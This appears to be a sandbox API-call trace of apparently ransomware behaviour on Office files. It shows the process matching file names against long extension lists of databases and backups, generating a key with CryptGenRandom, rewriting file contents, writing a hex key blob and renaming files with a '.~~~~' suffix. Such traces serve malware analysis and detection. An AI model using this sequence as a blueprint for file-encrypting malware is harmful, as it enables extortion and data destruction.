	[0144.543] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\STSLIST.CHM", lpSrch=".sql") returned 0x0
	[0144.543] lstrlenW (lpString=".MYD") returned 4
	[0144.543] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\STSLIST.CHM", lpSrch=".MYD") returned 0x0
	[0144.543] lstrlenW (lpString=".DBT") returned 4
	[0144.543] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\STSLIST.CHM", lpSrch=".DBT") returned 0x0
	[0144.543] lstrlenW (lpString=".ACCDB") returned 6
	[0144.543] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\STSLIST.CHM", lpSrch=".ACCDB") returned 0x0
	[0144.543] lstrlenW (lpString=".fdb") returned 4
	[0144.543] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\STSLIST.CHM", lpSrch=".fdb") returned 0x0
	[0144.543] lstrlenW (lpString=".bak") returned 4
	[0144.543] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\STSLIST.CHM", lpSrch=".bak") returned 0x0
	[0144.543] lstrlenW (lpString=".myd") returned 4
	[0144.543] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\STSLIST.CHM", lpSrch=".myd") returned 0x0
	[0144.543] lstrlenW (lpString=".DTXS") returned 5
	[0144.543] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\STSLIST.CHM", lpSrch=".DTXS") returned 0x0
	[0144.543] lstrlenW (lpString=".ckp") returned 4
	[0144.543] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\STSLIST.CHM", lpSrch=".ckp") returned 0x0
	[0144.544] lstrlenW (lpString=".dbt") returned 4
	[0144.544] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\STSLIST.CHM", lpSrch=".dbt") returned 0x0
	[0144.544] lstrlenW (lpString=".db") returned 3
	[0144.544] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\STSLIST.CHM", lpSrch=".db") returned 0x0
	[0144.544] lstrlenW (lpString=".TXT") returned 4
	[0144.544] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\STSLIST.CHM", lpSrch=".TXT") returned 0x0
	[0144.544] lstrlenW (lpString=".MDF") returned 4
	[0144.544] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\STSLIST.CHM", lpSrch=".MDF") returned 0x0
	[0144.544] lstrlenW (lpString=".bdb") returned 4
	[0144.544] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\STSLIST.CHM", lpSrch=".bdb") returned 0x0
	[0144.544] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0144.544] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\STSLIST.CHM", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0144.544] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x29061a8
	[0144.544] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0144.544] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x395850) returned 1
	[0144.545] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0144.545] CryptReleaseContext (hProv=0x395850, dwFlags=0x0) returned 1
	[0144.546] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0144.546] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b70
	[0144.546] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0144.546] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=26453577378) returned 1
	[0144.546] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xbf905fb0, dwHighDateTime=0x1d60e1e)) 
	[0144.546] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3622c0
	[0144.546] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0144.546] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3572d8
	[0144.546] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x37fef0
	[0144.546] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0144.546] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x37fef0 | out: hHeap=0x300000) returned 1
	[0144.546] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0144.546] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0144.546] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28acb00
	[0144.546] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0144.546] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37d038
	[0144.546] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28acb00 | out: hHeap=0x300000) returned 1
	[0144.546] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0144.547] GetLastError () returned 0x0
	[0144.547] GetLastError () returned 0x0
	[0144.547] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0144.547] GetLastError () returned 0x0
	[0144.547] GetLastError () returned 0x0
	[0144.548] ReadFile (in: hFile=0x138, lpBuffer=0x28e6048, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesRead=0x25dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0144.552] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0144.552] WriteFile (in: hFile=0x138, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x25dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0144.554] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0144.554] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0144.554] WriteFile (in: hFile=0x138, lpBuffer=0x368b70*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b70*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0144.556] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0144.556] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0144.556] CloseHandle (hObject=0x138) returned 1
	[0144.556] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37d038
	[0144.556] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\STSLIST.CHM" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\stslist.chm"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\STSLIST.CHM.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\stslist.chm.~~~~")) returned 1
	[0144.559] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x37d038 | out: hHeap=0x300000) returned 1
	[0144.559] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3572d8 | out: hHeap=0x300000) returned 1
	[0144.559] GetLastError () returned 0x0
	[0144.560] RtlWakeConditionVariable () returned 0x0
	[0144.560] GetCurrentThreadId () returned 0x9f4
	[0144.560] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\STSLISTI.DLL", lpSrch=".scr") returned 0x0
	[0144.560] lstrlenW (lpString=".cmd") returned 4
	[0144.560] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\STSLISTI.DLL", lpSrch=".cmd") returned 0x0
	[0144.560] lstrlenW (lpString=".dll") returned 4
	[0144.560] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\STSLISTI.DLL", lpSrch=".dll") returned 0x0
	[0144.560] lstrlenW (lpString=".bat") returned 4
	[0144.560] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\STSLISTI.DLL", lpSrch=".bat") returned 0x0
	[0144.560] lstrlenW (lpString=".cpl") returned 4
	[0144.560] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\STSLISTI.DLL", lpSrch=".cpl") returned 0x0
	[0144.560] lstrlenW (lpString=".sys") returned 4
	[0144.560] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\STSLISTI.DLL", lpSrch=".sys") returned 0x0
	[0144.560] lstrlenW (lpString=".msc") returned 4
	[0144.560] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\STSLISTI.DLL", lpSrch=".msc") returned 0x0
	[0144.560] lstrlenW (lpString=".com") returned 4
	[0144.560] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\STSLISTI.DLL", lpSrch=".com") returned 0x0
	[0144.560] lstrlenW (lpString=".lnk") returned 4
	[0144.560] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\STSLISTI.DLL", lpSrch=".lnk") returned 0x0
	[0144.560] lstrlenW (lpString=".msp") returned 4
	[0144.560] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\STSLISTI.DLL", lpSrch=".msp") returned 0x0
	[0144.560] lstrlenW (lpString=".pif") returned 4
	[0144.561] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\STSLISTI.DLL", lpSrch=".pif") returned 0x0
	[0144.561] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0144.561] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\STSLISTI.DLL", lpSrch="msp\r\n.pif") returned 0x0
	[0144.561] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\STSLISTI.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\stslisti.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138
	[0144.563] lstrlenW (lpString=".sqb") returned 4
	[0144.563] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\STSLISTI.DLL", lpSrch=".sqb") returned 0x0
	[0144.563] lstrlenW (lpString=".ost") returned 4
	[0144.563] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\STSLISTI.DLL", lpSrch=".ost") returned 0x0
	[0144.563] lstrlenW (lpString=".txt") returned 4
	[0144.563] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\STSLISTI.DLL", lpSrch=".txt") returned 0x0
	[0144.563] lstrlenW (lpString=".mdt") returned 4
	[0144.563] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\STSLISTI.DLL", lpSrch=".mdt") returned 0x0
	[0144.563] lstrlenW (lpString=".BDB") returned 4
	[0144.563] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\STSLISTI.DLL", lpSrch=".BDB") returned 0x0
	[0144.563] lstrlenW (lpString=".eql") returned 4
	[0144.563] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\STSLISTI.DLL", lpSrch=".eql") returned 0x0
	[0144.563] lstrlenW (lpString=".DBF") returned 4
	[0144.563] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\STSLISTI.DLL", lpSrch=".DBF") returned 0x0
	[0144.563] lstrlenW (lpString=".EQL") returned 4
	[0144.564] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\STSLISTI.DLL", lpSrch=".EQL") returned 0x0
	[0144.564] lstrlenW (lpString=".FDB") returned 4
	[0144.564] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\STSLISTI.DLL", lpSrch=".FDB") returned 0x0
	[0144.564] lstrlenW (lpString=".EDB") returned 4
	[0144.564] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\STSLISTI.DLL", lpSrch=".EDB") returned 0x0
	[0144.564] lstrlenW (lpString=".DACPAC") returned 7
	[0144.564] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\STSLISTI.DLL", lpSrch=".DACPAC") returned 0x0
	[0144.564] lstrlenW (lpString=".VHD") returned 4
	[0144.564] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\STSLISTI.DLL", lpSrch=".VHD") returned 0x0
	[0144.564] lstrlenW (lpString=".DBV") returned 4
	[0144.564] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\STSLISTI.DLL", lpSrch=".DBV") returned 0x0
	[0144.564] lstrlenW (lpString=".dacpac") returned 7
	[0144.564] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\STSLISTI.DLL", lpSrch=".dacpac") returned 0x0
	[0144.564] lstrlenW (lpString=".sdf") returned 4
	[0144.564] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\STSLISTI.DLL", lpSrch=".sdf") returned 0x0
	[0144.564] lstrlenW (lpString=".accdb") returned 6
	[0144.564] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\STSLISTI.DLL", lpSrch=".accdb") returned 0x0
	[0144.564] lstrlenW (lpString=".DBX") returned 4
	[0144.564] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\STSLISTI.DLL", lpSrch=".DBX") returned 0x0
	[0144.565] lstrlenW (lpString=".MDT") returned 4
	[0144.565] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\STSLISTI.DLL", lpSrch=".MDT") returned 0x0
	[0144.565] lstrlenW (lpString=".SQB") returned 4
	[0144.566] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\STSLISTI.DLL", lpSrch=".SQB") returned 0x0
	[0144.566] lstrlenW (lpString=".vhd") returned 4
	[0144.566] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\STSLISTI.DLL", lpSrch=".vhd") returned 0x0
	[0144.566] lstrlenW (lpString=".bac") returned 4
	[0144.566] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\STSLISTI.DLL", lpSrch=".bac") returned 0x0
	[0144.566] lstrlenW (lpString=".mdf") returned 4
	[0144.566] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\STSLISTI.DLL", lpSrch=".mdf") returned 0x0
	[0144.566] lstrlenW (lpString=".BAK") returned 4
	[0144.566] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\STSLISTI.DLL", lpSrch=".BAK") returned 0x0
	[0144.566] lstrlenW (lpString=".BAC") returned 4
	[0144.566] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\STSLISTI.DLL", lpSrch=".BAC") returned 0x0
	[0144.566] lstrlenW (lpString=".dbs") returned 4
	[0144.566] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\STSLISTI.DLL", lpSrch=".dbs") returned 0x0
	[0144.566] lstrlenW (lpString=".vhdx") returned 5
	[0144.566] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\STSLISTI.DLL", lpSrch=".vhdx") returned 0x0
	[0144.566] lstrlenW (lpString=".NDF") returned 4
	[0144.566] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\STSLISTI.DLL", lpSrch=".NDF") returned 0x0
	[0144.566] lstrlenW (lpString=".dat") returned 4
	[0144.566] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\STSLISTI.DLL", lpSrch=".dat") returned 0x0
	[0144.566] lstrlenW (lpString=".DBS") returned 4
	[0144.566] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\STSLISTI.DLL", lpSrch=".DBS") returned 0x0
	[0144.566] lstrlenW (lpString=".CKP") returned 4
	[0144.566] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\STSLISTI.DLL", lpSrch=".CKP") returned 0x0
	[0144.566] lstrlenW (lpString=".edb") returned 4
	[0144.566] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\STSLISTI.DLL", lpSrch=".edb") returned 0x0
	[0144.566] lstrlenW (lpString=".PST") returned 4
	[0144.567] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\STSLISTI.DLL", lpSrch=".PST") returned 0x0
	[0144.567] lstrlenW (lpString=".dbf") returned 4
	[0144.567] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\STSLISTI.DLL", lpSrch=".dbf") returned 0x0
	[0144.567] lstrlenW (lpString=".SQL") returned 4
	[0144.567] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\STSLISTI.DLL", lpSrch=".SQL") returned 0x0
	[0144.567] lstrlenW (lpString=".pst") returned 4
	[0144.567] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\STSLISTI.DLL", lpSrch=".pst") returned 0x0
	[0144.567] lstrlenW (lpString=".dbv") returned 4
	[0144.567] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\STSLISTI.DLL", lpSrch=".dbv") returned 0x0
	[0144.567] lstrlenW (lpString=".SDF") returned 4
	[0144.567] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\STSLISTI.DLL", lpSrch=".SDF") returned 0x0
	[0144.567] lstrlenW (lpString=".dtxs") returned 5
	[0144.567] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\STSLISTI.DLL", lpSrch=".dtxs") returned 0x0
	[0144.567] lstrlenW (lpString=".db3") returned 4
	[0144.567] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\STSLISTI.DLL", lpSrch=".db3") returned 0x0
	[0144.567] lstrlenW (lpString=".OST") returned 4
	[0144.567] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\STSLISTI.DLL", lpSrch=".OST") returned 0x0
	[0144.567] lstrlenW (lpString=".dbx") returned 4
	[0144.567] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\STSLISTI.DLL", lpSrch=".dbx") returned 0x0
	[0144.567] lstrlenW (lpString=".DB3") returned 4
	[0144.567] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\STSLISTI.DLL", lpSrch=".DB3") returned 0x0
	[0144.567] lstrlenW (lpString=".DAT") returned 4
	[0144.567] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\STSLISTI.DLL", lpSrch=".DAT") returned 0x0
	[0144.567] lstrlenW (lpString=".VHDX") returned 5
	[0144.567] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\STSLISTI.DLL", lpSrch=".VHDX") returned 0x0
	[0144.567] lstrlenW (lpString=".ndf") returned 4
	[0144.568] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\STSLISTI.DLL", lpSrch=".ndf") returned 0x0
	[0144.568] lstrlenW (lpString=".DB") returned 3
	[0144.568] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\STSLISTI.DLL", lpSrch=".DB") returned 0x0
	[0144.568] lstrlenW (lpString=".sql") returned 4
	[0144.568] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\STSLISTI.DLL", lpSrch=".sql") returned 0x0
	[0144.568] lstrlenW (lpString=".MYD") returned 4
	[0144.568] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\STSLISTI.DLL", lpSrch=".MYD") returned 0x0
	[0144.568] lstrlenW (lpString=".DBT") returned 4
	[0144.568] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\STSLISTI.DLL", lpSrch=".DBT") returned 0x0
	[0144.568] lstrlenW (lpString=".ACCDB") returned 6
	[0144.568] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\STSLISTI.DLL", lpSrch=".ACCDB") returned 0x0
	[0144.568] lstrlenW (lpString=".fdb") returned 4
	[0144.568] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\STSLISTI.DLL", lpSrch=".fdb") returned 0x0
	[0144.568] lstrlenW (lpString=".bak") returned 4
	[0144.568] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\STSLISTI.DLL", lpSrch=".bak") returned 0x0
	[0144.568] lstrlenW (lpString=".myd") returned 4
	[0144.568] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\STSLISTI.DLL", lpSrch=".myd") returned 0x0
	[0144.568] lstrlenW (lpString=".DTXS") returned 5
	[0144.568] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\STSLISTI.DLL", lpSrch=".DTXS") returned 0x0
	[0144.568] lstrlenW (lpString=".ckp") returned 4
	[0144.568] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\STSLISTI.DLL", lpSrch=".ckp") returned 0x0
	[0144.568] lstrlenW (lpString=".dbt") returned 4
	[0144.568] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\STSLISTI.DLL", lpSrch=".dbt") returned 0x0
	[0144.568] lstrlenW (lpString=".db") returned 3
	[0144.568] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\STSLISTI.DLL", lpSrch=".db") returned 0x0
	[0144.569] lstrlenW (lpString=".TXT") returned 4
	[0144.569] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\STSLISTI.DLL", lpSrch=".TXT") returned 0x0
	[0144.569] lstrlenW (lpString=".MDF") returned 4
	[0144.569] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\STSLISTI.DLL", lpSrch=".MDF") returned 0x0
	[0144.569] lstrlenW (lpString=".bdb") returned 4
	[0144.569] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\STSLISTI.DLL", lpSrch=".bdb") returned 0x0
	[0144.569] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0144.569] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\STSLISTI.DLL", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0144.569] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x29061a8
	[0144.569] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0144.569] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3956b8) returned 1
	[0144.570] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0144.570] CryptReleaseContext (hProv=0x3956b8, dwFlags=0x0) returned 1
	[0144.570] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0144.570] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b70
	[0144.570] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0144.571] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=26456068221) returned 1
	[0144.571] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xbf92c110, dwHighDateTime=0x1d60e1e)) 
	[0144.571] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0144.571] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3622c0
	[0144.571] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3572d8
	[0144.571] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x37feb8
	[0144.571] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0144.571] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x37feb8 | out: hHeap=0x300000) returned 1
	[0144.571] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0144.571] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0144.571] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28ac9b0
	[0144.571] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0144.571] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2836258
	[0144.571] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28ac9b0 | out: hHeap=0x300000) returned 1
	[0144.571] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0144.572] GetLastError () returned 0x0
	[0144.572] GetLastError () returned 0x0
